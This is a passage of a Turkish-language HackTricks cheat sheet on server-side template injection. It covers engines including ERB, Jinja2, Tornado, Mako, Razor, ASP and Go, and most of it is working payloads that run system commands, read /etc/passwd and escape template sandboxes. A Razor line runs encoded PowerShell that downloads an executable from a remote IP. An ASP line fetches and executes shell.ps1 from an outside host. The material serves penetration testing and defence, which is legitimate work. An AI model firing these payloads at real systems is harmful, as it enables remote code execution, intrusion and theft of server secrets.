 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Daha fazla bilgi için https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Daha fazla bilgi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Daha fazla bilgi
Diğer Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Daha fazla bilgi için https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Aşağıdaki sayfayı inceleyin; python’da arbitrary command execution bypassing sandboxes hakkında püf noktalarını öğrenmek için:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Daha fazla bilgi
Jinja2 (Python)
Jinja2, Python için tam özellikli bir şablon motorudur. Tam Unicode desteğine, isteğe bağlı entegre edilmiş izole bir yürütme ortamına sahiptir, yaygın olarak kullanılır ve BSD lisanslıdır.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Şablon formatı
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE bağımlı değil __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja’yı kötüye kullanma ile ilgili daha fazla ayrıntı:
Diğer payloads şurada: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Daha fazla bilgi
Diğer Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start yöntemi sunucuda herhangi bir işlemi başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Zafiyetli bir webapp örneğini şu adreste bulabilirsiniz: https://github.com/cnotin/RazorVulnerableApp
Daha fazla bilgi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Daha Fazla Bilgi
.Net Kısıtlamalarını Atlatma
.NET Reflection mekanizmaları, blacklisting’i veya assembly içinde sınıfların bulunmamasını atlatmak için kullanılabilir. DLL’ler çalışma zamanında yüklenebilir ve temel nesneler üzerinden metodlara ve özelliklere erişim sağlanabilir.
DLL’ler şu şekilde yüklenebilir:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- dosya sisteminden.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- doğrudan isteğin içinden.
Tam komut çalıştırma:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Daha Fazla Bilgi
Mojolicious (Perl)
Perl olmasına rağmen, Ruby’deki ERB benzeri tag’ları kullanır.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Go’nun template motorunda, kullanımının doğrulanması belirli payload’larla yapılabilir:
{{ . }}: Veri yapı girişini gösterir. Örneğin, bir objedePasswordözelliği varsa,{{ .Password }}bunu açığa çıkarabilir.{{printf "%s" "ssti" }}: Beklenen çıktı “ssti” stringidir.{{html "ssti"}},{{js "ssti"}}: Bu payload’lar sonuna “html” veya “js” eklemeden “ssti” döndürmelidir. Daha fazla direktif Go dokümantasyonunda incelenebilir here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
text/template paketi ile payload doğrudan eklenerek XSS kolayca gerçekleştirilebilir. Buna karşın, html/template paketi bunu önlemek için yanıtı encode eder (ör. {{"<script>alert(1)</script>"}} sonucu <script>alert(1)</script> olur). Yine de, Go’da template tanımlama ve çağırma bu encode işlemini atlatabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE exploiti html/template ile text/template arasında önemli ölçüde farklılık gösterir. text/template modülü herhangi bir public fonksiyonu doğrudan çağırmaya izin verir (“call” değeri kullanılarak), bu html/template içinde izin verilmez. Bu modüller için dokümantasyon here for html/template ve here for text/template.
Go’da SSTI yoluyla RCE için, obje metodları çağrılabilir. Örneğin, verilen objenin komut çalıştıran bir System metodu varsa, {{ .System "ls" }} şeklinde sömürülebilir. Bunu istismar edebilmek için genellikle kaynak koda erişim gereklidir, örnekte olduğu gibi:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Daha fazla bilgi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Ön İşlemcisi)
LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import yönergesini ekleyen popüler bir CSS ön işlemcisidir. Derleme sırasında LESS motoru @import ifadelerinde referans verilen kaynakları getirir ve (inline) seçeneği kullanıldığında içeriklerini sonuç CSS’e gömerek (“inline”) ekler.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Daha fazla exploit için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection içindekilerin geri kalanına bakın. Ayrıca ilginç tag bilgilerini https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde bulabilirsiniz.
BlackHat PDF
İlgili Yardım
Faydalı olabileceğini düşünüyorsanız, şunları okuyun:
Araçlar
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Tespit Listesi
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
Referanslar
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


